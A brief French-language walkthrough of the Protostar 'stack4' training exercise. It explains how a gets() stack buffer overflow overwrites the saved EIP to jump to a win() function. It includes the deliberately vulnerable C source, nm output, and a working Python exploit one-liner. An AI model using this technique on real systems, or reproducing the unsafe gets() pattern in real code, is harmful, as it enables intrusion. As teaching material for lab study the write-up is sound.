#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
Si vous n'avez aucune base en buffer overflow classique, je vous conseil de lire cet article : http://www.ghostsinthestack.org/article-13-les-buffers-overflows.html
Ici, fini le pointeur sur la fonction, nous devons écrire sur l'eip
sauvée sur la stack! Lorsque qu'une fonction est appelée, main
par exemple, le programme doit sauvegarder l'endroit où il se trouve avant de sauter sur le code de la fonction. Pour cela, il sauvegarde l'état du registre eip
(qui n'est rien d'autre que le registre pointant sur l'instruction en cours) sur la stack. Une fois l'exécution de la fonction terminée, le programme récupère l'état d'eip
sauvegardé et retourne là où il se trouvait. Notre but va être d'écrire sur cet eip
sauvegardé l'adresse de la fonction win
.
user@protostar:/opt/protostar/bin$ nm ./stack4 08049518 d _DYNAMIC 080495ec d _GLOBAL_OFFSET_TABLE_ ... 08048408 T main U puts@@GLIBC_2.0 080483f4 T win user@protostar:/opt/protostar/bin$ python -c 'print "A"*76+"\xf4\x83\x04\x08"' | ./stack4 code flow successfully changed